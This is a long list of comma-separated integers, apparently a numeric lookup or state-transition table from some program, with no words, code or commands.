1643,0,0,0,0,0,0,0,0,0,0,2520,0,0,0,0,541,0,0,0,0,3009,0,0,0,0,0,0,0,0,0,0,0,383,0,0,0,387,541,3063,541,541,541,3066,563,563,563,563,563,563,563,563,563,563,3083,563,563,563,563,563,563,563,3105,563,563,563,3108,587,587,587,587,587,587,587,587,587,1509,587,587,587,587,587,587,3144,587,587,3147,587,587,587,541,587,563,541,541,563,563,587,587,0,0,3295,0,0,0,0,0,0,0,0,2766,0,0,0,0,0,0,0,0,2151,0,0,0,0,0,0,0,0,2506,0,0,0,0,0,2512,0,0,0,0,0,0,3195,0,0,0,0,0,0,0,0,0,0,0,2782,0,0,0,0,541,541,541,541,3216,541,541,541,541,541,541,541,3221,541,3223,541,541,541,541,541,3408,541,541,3410,563,563,563,563,3414,563,563,563,563,1446,1447,563,563,563,26028,1360,988,587,587,587,587,587,587,3671,0,0,0,541,541,541,3674,563,563,563,563,563,587,587,3260,587,587,587,587,587,587,587,587,587,587,3274,587,587,587,587,587,587,3280,587,587,587,587,587,587,587,587,587,587,587,541,587,563,541,2722,563,3350,563,563,563,563,563,563,563,563,587,587,587,587,587,587,587,587,3655,587,587,587,587,3363,587,587,587,587,587,587,587,587,587,3369,587,0,0,0,541,587,563,541,541,541,541,541,563,563,563,563,563,3071,563,563,563,563,563,0,0,0,0,541,541,3660,3661,541,541,563,563,3664,3665,563,563,563,563,1423,563,563,1430,563,563,563,563,563,563,563,563,2631,563,563,563,563,563,563,563,587,587,3668,3669,587,587,0,0,0,0,541,541,541,541,563,563,563,924,928,931,563,939,563,563,563,954,956,959,0,0,690,691,0,0,0,0,696,0,0,0,365,365,365,0,0,0,0,0,1185,0,0,0,0,0,0,0,0,0,0,0,3180,0,0,0,0,0,0,829,0,0,0,0,0,0,0,0,0,758,0,0,0,0,0,0,758,0,0,0,0,0,758,758,910,541,563,563,563,563,927,563,563,563,563,563,563,563,563,563,1432,563,563,1436,563,563,563,983,0,587,587,587,587,1057,78115,1079,0,0,0,0,0,0,0,0,1220,0,0,0,0,0,0,0,0,0,282624,282624,282624,282624,282624,282624,282624,282624,587,1521,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1514,587,0,0,0,1721,0,0,0,0,0,0,0,0,0,0,0,0,1193,0,0,0,0,2040,0,0,0,0,0,0,0,0,0,0,0,0,0,0,749,0,2171,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2211,3288,541,3290,563,3292,587,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3514,468,468,468,486,494,494,486,494,494,494,494,494,494,494,494,519,527,527,527,527,527,527,527,527,527,527,527,527,527,527,527,536,527,527,527,527,527,549,572,549,572,549,549,572,549,596,572,572,572,572,572,572,572,596,596,596,549,596,596,596,596,596,596,596,596,572,572,549,572,596,572,596,1,795,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1652,0,818,0,0,0,795,0,0,818,0,0,0,0,0,818,818,0,0,0,0,795,0,0,0,0,0,0,836,791,0,0,836,857,541,865,541,541,541,541,541,541,541,541,541,541,541,541,541,541,3527,563,911,541,563,563,563,563,563,930,563,938,563,563,563,563,563,563,1850,563,563,563,563,563,563,563,563,563,0,587,587,587,587,587,587,587,1012,587,587,587,587,587,587,587,587,587,587,587,587,587,1058,984,0,587,587,587,1077,1058,78115,1079,0,0,0,0,0,0,0,0,1243,0,0,0,0,0,0,0,0,1259,0,0,0,1263,0,0,0,0,0,0,0,1139,1140,0,0,0,0,0,365,365,0,0,0,0,0,0,1113,0,0,0,0,0,0,0,0,0,0,2071,0,0,0,0,0,1180,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1705,1340,541,541,1344,541,541,541,541,541,1350,541,541,541,1357,541,541,541,541,541,1812,541,541,541,541,541,541,541,541,541,1360,1403,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2638,563,563,1442,563,563,563,1449,563,563,26028,1360,988,587,587,587,587,587,587,3272,587,587,587,587,587,587,587,587,3278,587,587,1487,587,587,587,587,587,587,587,1495,587,587,587,587,587,587,2365,587,587,587,587,587,587,587,587,587,2691,587,587,587,587,587,587,587,587,587,1524,587,587,1528,587,587,587,587,587,1534,587,587,587,587,587,1492,587,587,587,587,587,587,587,587,587,587,1510,587,587,587,587,587,1541,587,587,0,541,587,563,541,541,541,541,541,563,563,563,563,563,3476,563,563,563,3480,563,563,563,563,563,563,2863,563,563,2867,563,563,563,563,563,563,1409,563,563,1413,563,563,563,563,563,563,1448,563,563,26028,1360,988,587,587,587,587,0,0,0,1595,0,0,0,0,0,0,0,0,0,0,0,0,1223,0,0,0,0,0,1655,0,0,0,0,0,0,0,0,0,1664,0,0,0,0,0,0,1126,0,0,0,1130,1131,0,0,0,0,0,0,0,2818048,2846720,0,2916352,0,0,3002368,0,0,1718,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2053,1702,0,0,0,0,0,541,541,541,541,541,541,541,541,541,541,3326,541,541,541,563,563,563,1893,563,563,563,563,563,563,1901,563,563,563,563,563,563,2887,563,563,563,2890,563,2892,563,563,563,587,1944,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1940,587,587,1974,587,587,587,587,1980,587,587,587,587,587,587,587,587,1989,2007,2009,587,587,587,587,587,541,587,563,541,541,541,541,563,563,563,563,587,587,587,587,2030,0,2032,0,0,2079,0,0,0,2082,0,0,0,0,0,2088,0,0,0,0,0,0,1141,0,1143,0,0,365,365,0,0,0,0,0,0,1154,0,0,0,0,0,1160,0,1162,0,2104,0,0,0,0,0,0,0,0,0,0,0,0,0,2115,0,0,0,0,0,1192,0,0,0,0,0,0,0,0,0,0,0,176128,176128,176128,176128,176128,176128,176128,0,0,563,563,563,563,563,563,2250,563,563,563,563,563,563,563,1851,563,563,563,563,1855,563,563,563,587,587,587,587,2349,587,587,587,587,587,587,587,587,587,587,587,1985,587,587,1988,587,2262,541,541,541,541,563,563,563,563,587,587,587,587,0,0,0,0,0,2732,0,2450,0,0,0,0,0,0,0,0,2455,0,0,2458,0,0,0,0,0,0,2134016,0,0,0,0,0,0,57344,0,0,0,0,0,0,2748,0,0,0,0,0,0,0,0,0,0,192972,192972,192972,192972,192972,192972,192972,0,0,0,0,2462,0,0,0,0,0,0,0,0,0,0,0,541,541,541,2809,541,2473,0,0,0,0,0,0,0,2481,0,0,0,2483,0,0,0,0,0,0,1170,0,0,0,0,0,0,0,0,0,0,2989,0,0,0,0,0,0,2500,0,0,0,0,0,0,0,0,0,0,2510,0,0,0,0,0,0,1186,0,0,0,1191,0,0,0,0,1107,0,0,0,0,0,0,0,0,0,0,0,758,0,0,0,0,0,0,0,2524,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2536,541,541,2552,541,541,541,541,541,541,541,541,541,541,541,541,541,905,541,541,2564,541,541,541,541,541,541,2571,541,541,541,541,541,541,541,541,541,1768,541,541,541,541,541,541,541,2578,541,541,541,2581,541,541,541,541,541,541,541,0,0,0,0,0,0,1203,0,0,0,0,0,0,0,0,0,0,813,0,0,0,0,0,0,0,0,563,2588,563,563,563,563,563,563,563,563,563,563,563,1903,1904,563,563,563,2611,563,563,563,563,563,563,2616,563,563,563,563,563,563,563,2622,587,587,587,587,2702,587,587,587,587,587,587,587,587,587,587,2710,587,587,587,2713,587,587,587,587,587,587,587,2718,2719,2720,541,541,541,541,541,2177,541,541,541,541,541,541,541,541,541,541,541,541,2845,541,541,541,2758,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2103,0,2773,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1120,0,0,0,2789,0,0,0,0,2794,0,0,0,2796,0,0,0,0,0,0,0,69632,73728,316,317,317,422,423,65536,430,541,541,541,541,2814,541,541,541,541,541,541,541,541,541,541,541,541,1333,541,541,541,541,541,2848,541,541,541,541,541,541,0,0,563,563,563,2856,563,0,587,587,1047,587,587,78115,1079,0,0,0,0,0,0,0,0,1159168,365,0,0,0,0,0,0,563,563,563,563,2861,563,563,563,563,563,563,563,563,563,563,563,2294,563,563,563,563,563,563,563,563,2897,563,563,563,563,563,563,0,0,587,587,587,587,587,587,587,2338,587,587,587,587,587,587,587,3122,587,587,587,587,587,587,587,587,1036,587,587,587,587,1054,587,587,2905,587,587,587,587,587,2910,587,587,587,587,587,587,587,587,587,1935,587,587,587,587,1941,587,3006,0,0,0,0,3010,0,0,0,0,3015,0,0,0,0,0,0,0,2749,0,0,0,0,0,0,0,0,0,697,698,0,365,365,365,0,3191,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2145,3300,0,0,0,0,0,0,0,0,0,0,3180,0,0,0,0,0,0,0,69632,73728,163840,0,0,0,0,65536,0,563,563,563,3340,563,563,563,563,563,563,563,563,563,563,563,563,2283,563,563,563,563,563,563,3351,563,563,563,563,563,563,587,587,587,587,587,587,587,587,587,587,587,587,587,3359,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1942,3370,587,587,587,587,587,587,541,541,563,563,587,587,0,0,0,0,3297,0,0,0,0,0,0,0,0,0,3394,0,541,541,541,541,541,541,541,541,541,541,541,541,3211,541,541,3486,587,587,587,587,587,587,587,587,3495,587,3497,3498,587,3500,587,0,0,0,541,587,563,541,541,541,904,541,563,563,563,977,3502,0,0,0,0,0,0,0,0,0,0,0,0,0,0,541,541,541,854,541,541,3612,541,3613,541,541,541,563,563,563,563,563,563,3619,563,0,996,1075,1041,587,587,78115,1079,0,0,1081,1085,0,0,1089,3620,563,563,563,563,587,587,587,587,587,587,3627,587,3628,587,587,0,3603,0,0,0,0,0,0,0,0,541,541,3610,541,563,563,587,587,587,587,0,0,541,541,563,563,587,587,3683,3684,3685,3686,0,541,563,587,0,541,563,587,0,541,563,587,0,0,0,0,0,0,0,0,3180,0,0,0,0,0,0,0,550,597,573,573,573,573,573,573,573,597,597,597,550,597,597,597,597,597,597,597,597,573,573,550,573,597,573,597,1,0,0,0,737,0,0,0,0,0,0,0,0,0,0,0,0,1237,0,0,0,0,0,2041,0,0,0,0,0,0,0,0,0,0,0,0,0,1194,1196,0,403,0,0,0,0,381,0,69632,73728,0,0,0,0,426,65536,0,0,0,0,0,1202,0,0,0,0,0,0,0,0,0,0,0,2444,2445,0,0,2448,426,426,0,0,426,0,446,426,426,469,469,469,476,469,469,469,469,469,469,469,469,469,476,469,469,469,469,469,469,469,469,483,469,495,495,469,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,495,538,551,574,551,574,551,551,574,551,598,574,574,574,574,574,574,574,598,598,598,551,598,598,598,598,598,598,598,598,574,574,551,574,598,574,598,1,0,0,0,0,660,661,0,0,0,0,0,0,0,0,0,0,0,3001,0,0,0,0,0,0,0,0,661,0,0,0,0,0,0,0,0,0,0,0,661,0,0,0,0,0,827,0,0,0,661,0,0,0,0,0,0,0,0,0,0,0,3176,0,0,0,0,0,0,0,729,0,742,661,0,0,0,0,0,541,844,541,541,541,541,541,2191,541,541,541,541,541,541,2197,541,2199,541,541,859,541,541,541,541,541,541,541,541,541,541,897,541,541,541,541,541,541,2817,541,2819,541,541,541,541,541,541,541,541,2572,541,541,541,541,541,541,541,541,1349,541,541,541,541,541,541,541,541,1752,541,541,541,541,541,541,541,541,1767,541,541,541,541,541,541,541,541,1782,541,541,541,541,541,541,541,541,1815,1817,541,541,541,541,541,1360,563,563,563,970,563,563,563,563,563,0,587,587,990,587,587,587,587,587,1526,587,587,587,587,587,587,587,587,587,587,1953,587,587,587,587,587,1006,587,587,587,587,587,587,587,587,587,587,1044,587,587,587,587,587,587,3285,587,587,587,587,587,587,541,587,563,1094,0,0,0,0,0,0,0,0,0,1101,1102,0,0,0,0,0,0,0,69632,73728,167936,0,0,0,0,65536,0,0,0,0,1229,0,0,0,0,0,0,0,0,0,0,0,0,1247,0,0,0,0,0,0,0,1102,0,0,0,0,1260,1261,0,0,1101,0,0,0,0,0,0,2134756,0,0,0,0,0,0,0,0,0,0,1116,0,0,0,0,0,541,1306,541,541,541,541,541,541,541,541,541,541,541,541,541,541,0,2241,1360,914,563,1363,563,563,563,563,563,563,563,563,563,563,563,1377,1384,563,563,563,563,563,563,563,563,563,1398,563,563,563,563,563,563,3079,563,563,563,563,563,563,563,563,563,0,587,587,989,587,587,587,1418,563,563,563,563,563,563,563,1431,563,563,563,563,563,563,563,1897,563,563,563,563,563,563,563,563,1395,563,563,563,563,563,563,563,587,587,1523,587,587,587,587,587,587,587,587,587,587,587,1537,587,0,0,0,541,587,563,541,541,541,1067,911,563,563,563,1072,563,587,587,1523,587,587,1079,0,0,0,0,0,0,0,0,0,0,2781,0,0,0,0,0,541,541,541,1746,1747,541,541,541,541,1754,541,541,541,541,541,541,541,1290,541,1295,541,541,1299,541,541,1302,541,541,541,541,1795,541,541,541,541,541,541,541,541,541,541,541,541,1335,541,541,541,1825,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1841,1842,563,563,563,563,1849,563,563,563,563,563,563,563,563,563,563,3347,563,563,563,563,3348,1890,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2649,587,1945,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2372,587,587,1959,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2384,2385,587,587,587,587,2012,587,587,541,587,563,541,541,541,541,563,563,587,587,2961,0,0,2964,2965,0,0,0,0,0,0,0,2505,0,0,0,0,0,0,0,0,0,387,0,0,0,0,0,387,0,0,0,2054,0,2055,0,0,0,0,0,0,0,0,0,2064,541,541,541,541,2216,541,541,541,541,541,541,2221,541,541,541,541,541,541,1285,1292,541,541,541,541,541,541,541,541,541,1800,541,541,541,1805,541,541,541,2226,541,541,541,541,541,541,541,541,541,541,541,541,0,0,563,563,563,563,563,563,563,563,2302,563,563,563,563,563,563,2307,563,563,563,563,563,563,3080,563,563,563,563,563,563,563,563,563,1883,563,563,563,563,563,563,563,2313,563,563,563,563,563,563,563,563,563,563,563,563,0,0,587,587,587,587,587,587,2389,587,587,587,587,587,587,2394,587,587,587,587,587,587,2377,587,587,587,587,587,587,587,587,587,1952,587,587,587,587,1956,587,587,2400,587,587,587,587,587,587,587,587,587,587,587,587,541,587,0,0,0,541,587,563,541,541,895,541,541,563,563,968,563,0,587,587,587,587,587,78115,1079,0,0,1082,1086,0,0,1090,0,2437,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1178,0,587,2671,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2931,587,0,0,0,2736,0,0,0,0,0,0,0,0,0,0,0,0,1588,1589,0,0,2787,0,0,0,0,0,0,0,0,0,0,0,2797,0,0,0,0,0,0,1204,0,0,0,0,0,0,0,0,0,0,1631,0,0,0,0,0,541,541,541,2813,541,541,541,541,541,541,2821,541,541,541,541,541,541,541,2555,541,541,541,541,541,541,541,2562,563,563,563,2860,563,563,563,563,563,563,2868,563,563,563,563,563,563,3094,563,563,3096,563,563,563,563,563,563,1880,1881,1882,563,563,1885,1886,563,563,563,0,0,3008,0,0,0,0,0,0,0,0,0,0,0,0,0,1197,0,0,541,541,3227,541,541,541,541,541,541,563,563,563,563,563,563,563,3073,563,563,563,3571,541,3573,541,541,541,563,563,563,563,563,563,563,3583,563,3585,0,0,0,0,541,3659,541,541,541,541,563,3663,563,563,563,563,563,1878,563,563,563,563,1884,563,563,563,563,563,563,2864,563,2866,563,563,563,563,563,563,563,3354,563,563,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1057,587,3667,587,587,587,587,0,0,0,0,541,541,541,541,563,563,915,563,563,563,563,563,563,946,563,563,563,563,563,1427,563,563,563,563,563,563,563,563,563,563,3535,563,563,563,563,563,563,587,587,587,587,3112,587,587,587,587,3116,470,470,470,470,454,454,470,454,454,454,454,454,454,454,454,520,520,520,520,520,520,520,520,520,520,520,520,520,520,520,520,552,575,552,575,552,552,575,552,599,575,575,575,575,575,575,575,599,599,599,552,599,599,599,599,599,599,599,599,575,575,552,575,599,575,599,1,541,860,541,541,874,541,541,541,541,541,541,541,541,541,541,541,541,1770,541,541,541,1007,587,587,1021,587,587,587,587,587,587,587,587,587,587,587,587,1971,587,587,587,0,1123,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1184,1184,1251,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2156,0,0,0,1268,0,0,0,0,0,0,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1360,541,541,541,1323,541,541,541,541,541,541,541,541,541,541,541,541,541,2534,541,541,541,1341,541,541,541,541,541,1348,541,541,541,541,541,541,541,541,541,2234,541,541,541,541,0,0,1440,563,563,563,563,563,563,563,563,26028,1360,988,587,587,587,587,587,587,3365,587,587,587,587,587,587,587,587,587,2936,587,587,587,2939,587,2941,587,587,587,587,587,1525,587,587,587,587,587,1532,587,587,587,587,587,587,2392,587,587,587,587,587,587,587,587,587,1472,587,587,587,587,1482,587,563,587,587,587,1557,587,1079,0,1561,0,0,0,1567,0,0,0,0,0,0,1218,1219,0,0,0,0,0,0,0,0,0,1235,0,0,0,0,0,0,1573,0,0,0,1579,0,0,0,0,0,0,0,0,0,0,0,662,0,0,0,0,0,0,0,0,0,0,0,541,541,541,1779,541,541,541,541,541,541,541,541,541,541,541,541,541,2548,541,541,563,1843,563,563,563,563,563,563,563,563,563,1854,563,563,563,563,563,1879,563,563,563,563,563,563,563,563,563,563,3344,563,563,563,563,563,563,563,563,1865,563,563,563,563,563,563,563,2065,2066,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1210,0,2117,0,0,2120,2121,0,0,0,0,0,2127,0,0,0,0,0,0,0,2765,0,0,0,0,0,0,0,0,0,550,573,550,573,550,550,573,541,2213,541,541,541,541,2218,541,541,541,541,541,541,541,541,541,541,2182,541,541,541,541,541,2299,563,563,563,563,2304,563,563,563,563,563,563,563,563,563,563,1917,563,26028,0,587,587,587,2386,587,587,587,587,2391,587,587,587,587,587,587,587,587,587,587,2001,587,587,587,587,587,2006,541,541,541,3037,541,541,541,541,541,541,541,541,541,541,541,541,541,2846,541,541,563,563,3077,563,563,563,563,563,563,563,563,563,563,563,563,563,1887,1888,563,587,587,587,3119,587,587,587,587,587,587,587,587,587,587,587,587,1986,587,587,587,563,563,3247,563,563,563,563,563,563,563,563,563,563,563,563,563,2296,563,563,587,0,0,0,3445,0,0,0,0,3180,0,0,0,0,0,0,0,1242,0,0,0,0,0,0,0,0,0,380,0,0,0,0,0,0,0,0,541,541,541,541,3460,541,541,541,541,541,541,541,541,541,541,2207,541,541,541,541,541,563,587,587,587,587,3491,587,587,587,587,587,587,587,587,587,587,2354,587,587,587,587,587,587,563,563,563,563,3623,587,587,587,587,587,587,587,587,587,587,587,2395,587,587,587,587,587,3631,0,0,0,0,0,0,541,541,541,541,541,541,541,563,563,920,563,563,563,563,563,563,949,951,563,563,563,563,563,3421,563,563,563,3425,563,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3501,388,390,340,0,0,0,0,0,0,339,0,0,340,0,0,0,0,0,0,1598,0,0,0,0,0,0,0,0,1604,0,0,0,387,0,0,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,0,1217,0,0,0,0,0,0,0,1224,0,0,0,0,0,347,0,0,0,0,0,0,0,0,0,0,0,3316,0,0,0,0,0,0,435,339,0,0,447,0,0,471,471,471,471,471,471,471,471,471,553,576,553,576,553,553,576,471,482,471,471,471,500,477,500,500,500,500,500,500,500,500,471,471,477,471,471,471,471,471,471,471,471,471,471,471,481,481,471,482,471,471,553,600,576,576,576,576,576,576,576,600,600,600,553,600,600,600,600,600,600,600,600,576,576,553,576,600,576,600,1,0,0,750,0,0,0,0,0,0,0,0,0,0,0,0,0,1603,0,0,0,0,0,0,663,0,788,0,0,0,0,0,0,0,792,0,0,0,0,0,1231,0,0,0,0,0,0,0,0,0,0,0,2153,0,0,0,0,0,0,0,801,0,0,0,0,0,809,0,0,0,0,706,0,0,0,0,0,0,0,0,715,0,717,0,828,0,0,0,663,831,0,788,0,0,0,0,0,837,0,0,0,0,0,1597,0,0,0,577536,0,0,1602,0,0,0,0,0,0,1257,0,0,0,0,0,0,0,0,0,0,2508,0,0,0,0,0,541,861,541,541,875,541,541,541,541,888,541,541,541,541,906,541,541,541,541,541,3519,541,541,541,541,541,541,541,541,563,563,563,923,563,929,563,563,942,563,563,953,563,958,961,563,563,563,563,979,563,563,563,0,587,587,991,587,587,587,587,587,1962,587,587,587,587,587,587,587,587,587,587,3287,587,587,587,541,587,563,1008,587,587,1022,587,587,587,587,1035,587,587,587,587,1053,587,587,587,587,587,2945,587,587,2948,587,587,2951,587,2952,2953,2954,0,0,0,0,1216,0,0,0,0,1221,0,0,0,0,0,0,0,1258,0,0,0,0,0,0,0,0,0,365,299,0,0,0,0,0,0,1144,0,0,1256,0,0,0,0,0,0,0,0,1235,0,0,0,0,0,0,2891776,0,0,0,0,0,2392064,2412544,0,0,0,0,0,0,2123,0,0,0,0,0,0,0,0,0,0,2727936,0,0,0,3084288,0,0,0,1267,0,0,0,0,0,0,0,541,541,541,541,541,541,541,541,541,1741,541,541,541,1309,541,541,541,541,541,541,541,541,541,541,541,541,541,3045,541,3047,563,587,587,1556,587,587,1079,0,0,0,0,0,0,0,0,0,0,3e3,0,0,0,0,0,1621,0,0,1624,0,1626,0,0,0,0,0,0,0,0,0,0,0,3198,3199,0,0,0,0,0,0,0,1722,0,0,0,0,0,0,0,0,0,0,0,683,684,685,0,0,541,541,541,541,1780,541,541,541,541,541,541,541,541,541,541,541,541,1820,541,541,1360,0,563,563,563,563,563,563,563,563,563,563,1836,563,563,563,563,563,2263,563,563,563,563,563,563,563,563,563,563,1433,563,563,563,563,563,1875,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2872,1943,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2359,0,0,2135,0,0,0,0,0,0,0,0,0,0,0,0,0,1618,0,0,2146,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2484,0,0,0,0,541,541,541,2163,2164,541,541,541,541,541,541,541,541,2180,541,541,541,541,2185,541,541,541,541,541,2228,541,541,541,541,541,541,541,541,541,541,0,0,563,563,563,563,2857,0,0,563,563,563,2247,563,2249,563,563,563,563,563,563,563,563,2320,563,563,563,563,563,0,0,563,563,563,2315,563,563,563,563,563,563,563,563,563,563,0,0,988,587,587,587,587,0,0,587,587,587,2334,587,2336,587,587,587,587,587,587,587,587,1965,1966,1968,587,587,587,587,587,587,587,587,2402,587,587,587,587,587,587,587,587,587,587,541,587,0,0,0,541,587,563,541,541,897,541,541,563,563,970,563,0,997,587,1076,1048,587,78115,1079,0,0,0,0,0,0,0,0,458,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,1147355,0,0,2438,0,0,0,0,0,0,2443,0,0,0,2446,2447,0,0,0,0,0,1610,0,0,1613,0,0,0,0,0,0,0,0,1584,0,0,0,0,0,0,0,0,1683,0,0,0,0,0,0,0,0,334,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1134,0,0,0,0,2487,0,0,0,0,0,0,0,0,0,0,0,2498,0,0,0,2515,0,0,0,0,0,0,0,0,0,2523,0,541,541,541,541,541,3576,563,563,563,3580,563,563,563,563,563,563,2290,563,563,563,563,563,563,563,563,563,1899,563,563,563,563,563,1906,2537,2538,541,541,541,541,541,2543,541,2545,541,541,541,541,2549,541,541,541,541,541,3614,3615,541,563,563,563,563,563,563,563,563,3424,563,563,587,587,587,587,587,563,563,2598,563,563,2601,2602,563,563,563,563,563,2607,563,2609,563,0,999,1039,587,1050,587,78115,1079,0,0,0,0,0,0,0,0,3184,0,0,0,0,0,0,0,0,2750,0,0,0,0,0,0,0,0,0,2732032,0,0,0,0,0,0,563,563,563,2613,563,563,563,563,563,563,563,563,2619,563,563,563,563,563,3624,587,587,587,587,587,587,587,587,587,587,1967,587,587,587,1972,587,587,563,2639,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1402,563,587,587,587,2673,587,2675,587,587,587,587,2679,587,587,587,587,587,587,2676,587,587,587,587,587,587,587,587,587,1469,1476,587,587,587,587,587,587,587,587,2685,587,587,587,587,587,587,587,587,2693,587,587,587,587,587,1979,587,587,587,587,587,587,587,587,587,587,2926,2927,587,587,587,587,2930,587,587,587,587,587,2701,587,587,587,587,2705,587,587,587,587,587,587,587,2378,2379,587,587,587,587,587,587,587,2406,587,587,2409,2410,587,587,2176,2348,0,2745,0,0,0,0,0,0,0,2751,2752,2753,0,0,0,0,0,0,0,69632,73728,172032,0,0,0,0,65536,0,2772,0,2774,0,0,0,0,2778,0,0,0,0,2783,0,0,2786,541,541,2828,541,541,541,541,541,541,541,541,541,541,541,541,541,1771,541,541,541,541,541,2838,541,541,541,541,541,541,541,541,541,541,541,541,541,3337,563,563,541,2847,541,541,2850,541,541,2853,541,0,0,2854,563,563,563,563,563,2277,563,563,2280,563,563,563,563,563,563,563,3081,563,563,563,563,563,563,563,563,3355,563,587,587,587,587,587,587,563,563,2875,563,563,563,563,563,563,563,563,563,563,563,563,563,2324,0,0,563,563,563,563,2886,563,563,563,563,563,563,563,563,563,563,563,2606,563,2608,563,563,563,563,563,2896,563,563,2899,563,563,2902,563,0,0,2903,587,587,587,587,587,3284,587,587,587,587,587,587,587,541,587,563,541,541,563,563,587,587,587,2921,587,587,2924,587,587,587,587,587,587,587,587,587,587,587,2666,587,587,587,587,0,0,0,0,0,2972,2973,0,0,0,0,2978,0,0,0,0,0,0,0,69632,73728,221184,0,0,0,0,65536,0,3021,0,0,3023,0,0,541,541,3028,541,541,541,541,541,541,541,541,2205,2206,541,541,541,541,541,541,0,0,3160,0,3162,0,0,0,3166,0,0,0,0,0,0,0,0,2518,0,0,0,0,0,0,541,541,541,541,3030,541,541,541,541,3034,3234,3235,563,563,563,563,3239,3240,563,563,563,563,563,3244,563,563,563,563,1445,563,563,563,563,26028,1360,988,587,1455,587,587,0,3632,0,0,0,0,541,541,541,541,541,3641,541,563,563,563,563,587,587,587,587,587,587,587,3263,3264,587,587,587,587,587,587,3435,587,587,587,587,587,587,587,541,563,3268,3269,587,587,587,587,587,3273,587,587,587,587,587,587,587,587,2393,587,587,587,587,587,587,587,3279,587,587,587,587,587,587,587,587,587,587,587,587,541,587,563,2721,541,0,0,0,3312,0,0,0,0,0,0,0,0,0,0,0,0,1633,0,0,0,541,3404,541,541,541,541,541,541,563,563,563,563,563,563,563,563,563,563,563,563,563,563,3419,563,563,563,563,563,563,563,587,587,587,587,587,3113,587,587,587,587,587,0,3443,0,0,3446,0,0,0,3180,0,0,0,0,0,0,0,1583,0,1585,0,0,0,0,0,0,0,1106,0,0,0,0,0,0,0,0,0,756,0,0,0,0,0,0,0,0,541,541,3458,541,541,541,541,3463,541,541,541,541,3468,541,541,541,541,872,541,541,541,541,541,541,541,541,541,541,541,541,1316,541,541,541,563,587,587,3489,587,587,587,587,3494,587,587,587,587,3499,587,587,587,587,587,3364,587,587,587,587,587,587,587,587,587,587,2664,587,587,2667,2668,587,587,563,563,3645,3646,563,563,563,587,587,587,3651,3652,587,587,587,0,541,587,563,541,541,541,541,541,563,563,563,563,587,587,587,587,0,0,0,2730,0,0,563,587,0,541,563,587,3691,3692,3693,3694,0,541,563,587,0,0,0,0,0,0,0,0,3180,0,0,0,0,0,3453,342,343,344,345,346,0,0,0,0,0,0,0,0,0,0,0,713,0,0,0,0,0,0,0,391,0,0,0,0,0,0,0,0,0,0,0,0,1674,0,0,0,345,345,0,346,345,0,344,345,455,472,472,472,472,472,472,472,472,472,472,472,472,472,472,472,472,472,472,472,487,496,496,504,496,506,496,496,506,506,496,506,521,521,521,521,521,521,521,521,521,521,521,521,521,521,521,521,554,577,554,577,554,554,577,554,601,577,577,577,577,577,577,577,601,601,601,554,601,601,601,601,601,601,601,601,577,577,554,577,601,577,601,1,656,657,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1590,1591,672,673,0,675,676,0,0,0,0,0,682,0,0,0,0,0,0,0,2804,0,0,0,541,2808,541,541,541,0,0,0,0,692,0,0,0,0,0,0,699,365,365,365,0,0,0,0,0,1658,0,0,0,0,0,0,0,0,0,0,0,3180,0,0,0,3308,0,719,0,721,0,723,0,0,0,0,0,0,0,0,0,733,0,0,0,0,646,752,753,754,0,0,0,0,0,760,761,0,0,0,0,0,1680,0,0,0,0,0,0,0,0,0,0,0,3180,0,3306,0,0,763,764,675,0,0,0,0,0,0,0,0,0,0,779,780,0,0,0,0,0,1696,1697,1698,1699,0,0,0,0,0,0,0,0,755,0,0,0,0,0,0,0,0,772,0,0,0,0,0,0,0,0,782,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1601,0,0,761,0,0,787,0,0,0,0,0,0,0,0,0,794,675,723,0,692,811,0,0,0,0,761,0,0,0,0,0,0,0,1591,0,0,0,0,0,0,0,0,0,1662,0,0,0,0,0,0,0,0,754,820,821,0,0,0,0,0,0,754,0,0,825,699,0,0,0,830,0,0,0,832,0,0,0,692,699,0,0,692,830,830,0,0,0,0,0,0,0,0,0,692,541,541,851,855,858,541,866,541,541,541,881,883,886,541,541,541,898,902,541,541,541,541,541,2541,541,541,541,541,541,541,541,541,541,541,541,541,3044,541,541,541,563,563,563,971,975,563,563,563,563,0,587,587,587,998,1002,1005,587,1013,587,587,587,1028,1030,1033,587,587,587,1045,1049,587,587,587,587,587,1995,587,587,587,587,587,2002,587,587,587,587,587,587,2946,587,587,587,587,587,587,541,587,563,1073,0,998,587,1045,1049,1078,78115,1079,0,0,0,0,0,0,0,0,2779,0,0,0,0,0,0,0,0,303,303,303,303,0,303,303,303,0,0,0,0,1168,0,0,0,0,0,0,0,0,0,0,0,729,0,0,0,0,0,0,1199,0,0,0,0,0,0,0,0,0,0,1209,0,0,0,0,0,0,2912256,0,3207168,2465792,0,0,2719744,0,0,0,0,0,0,